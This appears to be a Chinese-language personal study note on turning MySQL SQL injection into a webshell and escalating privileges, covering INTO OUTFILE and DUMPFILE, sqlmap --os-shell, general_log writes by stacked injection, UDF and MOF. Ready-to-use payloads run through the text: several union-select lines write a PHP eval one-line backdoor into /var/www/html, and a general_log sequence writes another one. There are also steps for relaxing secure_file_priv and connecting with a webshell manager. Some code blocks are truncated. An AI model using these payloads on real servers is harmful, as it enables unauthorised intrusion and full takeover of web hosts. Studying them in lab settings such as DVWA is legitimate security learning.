SQL getshell
最近刚刚入职,师傅叫我第一熟悉的就是SQL getshell,常见的两种方法还是都知道的,只是没具体去实现过,这里做个总结。
首先要明确的是sql注入getshell的方式:
getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现.前文所说的两种方法即是Webshell提权,后两者会有一定的限制,这里阐述原理。
Webshell提权:
1.into outfile
利用条件:
web目录具有写的权限,能够使用单引号
知道网站的绝对路径
my.ini这个配置文件中有一项secure_file_priv没有具体值(注意不是空或者NULL)
secure_file_priv
:secure_file_priv是用来限制load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限 ,即就是拿来限制内外读写文件的一个配置
关于secure_file_priv的相关:
当该配置的值为null时,mysqld不允许导入和导出
当该配置的值为/tmp/时,mysqld的导入和导出只能发生在/tmp/目录下(这里/tmp/表示限定目录,即我们自己设定的目录)
当该配置的值为没有具体值时。mysqld的导入和导出没有限制
所以为了我们能够使用into outfile函数写马进去,就需要将该配置设置为没有值,设置的方法如下:
1)看secure-file-priv参数的值:show global variables like ‘%secure%’;若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出
2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘ ‘ 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马
以上操作建议使用navicat或者其他数据库可视化软件进行操作。
写入Webshell:
以上的secure_file_priv配置设置完成好,再满足我们具有写的权限和知晓绝对路径,就能尝试用sql语句写入一句话木马。这里方便测试,建议使用dvwa
测试注入点以及判断列数这里跳过,都是老生常谈的操作,加上因为是我们自己搭的靶场,所以我们也知晓自己的路径
所以我们可以写入一句话:
1’ union select 1,”“ into outfile ‘E:\xxxxx\phpstudy\dvwa\test.php’ #
这里路径中要使用双斜杠,第一个斜杠是转义的意思,不然无法解析,关于字符串的解析不一定只出现在web服务器里,其他情况下也有可能出现,而且windows采用的是单个斜杠的路径分割形式,导致我们对文件路径进行解析的时候发生不必要的错误,所以多加个斜杠进行转义。
PS:这里我把马传进去的时候,我是用蚁剑连的,意外的发现以GET方式可能会被过滤,POST和REQUEST方式没有被过滤。
2.os-shell原理
os-shell就是sqlmap的一个功能,为存在的注入点提供一个可交互的webshell,大致原理就是将脚本插入数据库中,然后生成相应的文件,获取shell就能执行相关命令。其实原本–os-shell就是使用udf(用户自定义函数)获取webshell,也是通过into outfile向服务器写入两个文件,一个可执行系统命令,一个进行上传文件。
利用条件:
要求为DBA数据库管理员权限(–is-dba phpstudy搭建的一般为DBA)
php的GPC关闭即主动转义的功能关闭,可以使用单双引号
(不使用十六进制即0x编码),知道网站的绝对路径,而且文件不能覆盖写入,所以文件必须为不存在
–secure-file-priv
没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv
是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
PS:secure_file_priv为只读参数,不能使用set global命令修改,需要在my.ini加入后重启Mysql才可以
1 | sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的) |
os-shell的具体实现步骤:
1 | 1.启动sqlmap:sqlmap -r test.txt --os-shell |
以上大致就是Webshell的两种方式,但是我们大多数都不知道路径即就是绝对路径,那产生路径问题的原因是?
大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写
所以我们可以采用dnslog注入,就是dns外带查询,通过查询相应的dns解析记录,来获取我们想要的数据
PS:在实际场景中,盲注情况比较多,而联合查询的结果只会为了提供真与假,无法给予详细获取,通过手工测试需要花费大量时间,而使用sqlmap直接去跑数据也有可能触发waf或者被网站封ip,影响测试进度,所以dnslog注入就应运而生
这里我们要使用一个load_File()函数,该函数会读取一个文件并将其内容作为字符串返回
语法:load_file(filename),其参数为文件的完整绝对路径
其满足条件为:
1.文件处于服务器上
2.具有该文件的读权限,该属性和secure_file_priv状态相关
3.文件必须所有人都可见,且字节大小小于最大限度
除了上述的Webshell,还有udf以及mof,以及通过日志写入
这里要引入一种不常见的注入方式,堆叠注入,如果对buu里的web有过练习,应该是有印象的
堆叠注入写shell(日志注入)
- 主要是利用到了Mysql的日志来进行写shell,payload如下:
set global general_log = "ON";set global general_log_file='C:/xxx/www/muma.php';select '<?php eval($_POST[cmd]);?>';
- 然后用webshell管理工具连接,就可以进行攻击
如果说联合查询就能够写入shell,那当然是最好不过了
union select 1,'<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/test.php' #
union select 1,'<?php eval($_POST[1]);?>' INTO dumpfile '/var/www/html/test.php'#
这里对于outfile和dumpfile有一点小区分:
1 | outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可hex |
udf提权:
udf(user defined function)即用户自定义函数,是我们对数据库功能的一种自定义扩展,经过这个可以实现在mysql无法实现的功能
条件:
1.sqlmap的udf动态链接库文件:sqlmap根目录/data/udf/mysql
2.一般来说动态链接库为了防止被误杀都会进行编码处理,不能直接使用,所以我们可以用sqlmap自带的解码工具cloak.py来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py
以下为举例payload:
1 | create table udfeval(shellcode longblob); //创建表 |
以上方法都需要知道secure_file_priv的值,那我们可以通过–sql-shell来知道输入sql语句select@@secure_file_priv提示为NULL,所以就会出现无法继续的错误
mof提权
M0F提权原理:它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行
条件:
1 | Win sever 03以后无法使用 |
因为mof文件每五秒就会执行一次,而且是系统权限,我们可以通过load_file将文件写入/wbem/mof里,然后系统每隔五秒就会执行我们上传的mof。我们可以通过mof里自己编写的脚本,来让系统执行命令,进行提权
以下为我参考的相关资料:(vbs脚本)
1 | MSF脚本自动化 |
缺点:攻击的选择范围较小,而且清理痕迹可能会比较麻烦